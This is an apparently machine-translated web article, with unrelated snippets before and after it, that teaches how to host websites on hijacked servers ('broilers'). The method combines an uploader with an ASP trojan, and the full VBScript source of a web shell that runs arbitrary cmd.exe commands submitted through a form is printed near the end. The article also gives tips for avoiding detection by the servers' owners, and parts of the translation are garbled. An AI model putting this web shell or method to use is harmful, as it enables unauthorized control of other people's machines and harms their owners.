Recommended: How to get your ASP running on non-Windows platforms Since Microsoft launched ASP technology, ASP has been widely used on more and more Internet/Intranet/Extranet websites, especially database operations, due to its powerful functions in creating dynamic interactive sites and its simplicity in writing code.
I think everyone has some broilers with port 80. If it is domestic, don’t look down for safety. If you don’t want to look down, you might as well look down. I’m so ugly to try to attract attention.
The most troublesome thing about putting a website on a broiler is to update and upload a large number of files. Terminal services are easily discovered during broad daylight, and you are not at ease when you open an ftp. I went around the Internet and found that it can be easily achieved by combining component-free uploading and ASP Trojans.
Everyone is familiar with the asp Trojan. It’s nothing more than a cmd. What’s the function? Don’t worry, listen to me slowly. The overall idea is to upload a componentless asp program through ftp, 139, or winshell. I chose Webedit (actually, this is no longer a simple component-free uploading tool. Through it, you can modify, delete files/directories, and use them to update pages. I have an advertisement. I have no relatives with him. I flashed a flying bottle...continue) and an asp Trojan (if, I am really too lazy to find it. Finally, with the source code, just paste asp file). Remember, you have to use the broiler's web directory. In fact, most of the problems can be solved, but if there are many files uploaded one by one, it will be troublesome. What should I do? Now the asp Trojan is used. Find a rar.exe (all directories that have been installed with winrar may be installed on the broiler. Maybe it is already installed. If it is another command line decompression tool, it is also OK) Copy it to %SystemRoot%/system32/. Upload the .zip or .rar file to the broiler's web directory. Open the asp Trojan horse (temporarily called trojan.asp) in the browser address bar, enter rar -x source.rar path in the text box to decompress successfully, V, and slowly, how to get the absolute path (path) of the web directory? I used the local method to modify trojan.asp and add a line to convert the virtual directory into an absolute path and output the statement <% = server.mappath(.) %>. You can change it to any relative virtual directory at will.
It just provides an idea. If any great man can write an asp decompression, it would be better, but? Who can do it? I don’t know, do you? As for how to hide the virtual directory and support simplified Chinese display, it is not the discussion in this article. The old saying goes, safety first, usually just put a small forum or chat room. If you really put a personal homepage and leave your contact address and phone number to others, it would be not good. ps.junesun recommends making it into self-decompression directly, I don’t know if a dialog box will pop up.
| The following is the quoted content: <%@ Language=VBScript %> <% Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next < ' -- create the COM objects that we will be using -- ' Set oScript = Server.createObject(WSCRIPT.SHELL) Set oScriptNet = Server.createObject(WSCRIPT.netWORK) Set oFileSys = Server.createObject(Scripting.FileSystemObject) < ' -- check for a command that we have posted -- ' szCMD = Request.form(.CMD) If (szCMD <> ) Then < ' -- Use a poor man's pipe ... a temp file -- ' szTempFile = C:/ & oFileSys.GetTempName( ) Call oScript.Run (cmd.exe /c & szCMD & > & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) < End If < %> <HTML> <BODY> <form action=<%= Request.ServerVariables(URL) %> method=POST> <input type=text name=.CMD size=45 value=<%= szCMD %>> <input type=submit value=Run> </form> <PRE> < <% If (IsObject(oFile)) Then ' -- Read the output from our command and remove the temp file -- ' On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) oFile.Close Call oFileSys.deleteFile(szTempFile, True) End If %> </BODY> </HTML> |
Share: Target Apache IIS7 and open your arms to open source Microsoft has taken a fancy to the advantages of Apache's high modularity. Eric Deily, senior project manager of Microsoft's IIS team, said they are working to mimic this feature in IIS 7.0. The biggest change in IIS7.0 compared with previous versions is that it supports multiple open source openings natively through FastCGI.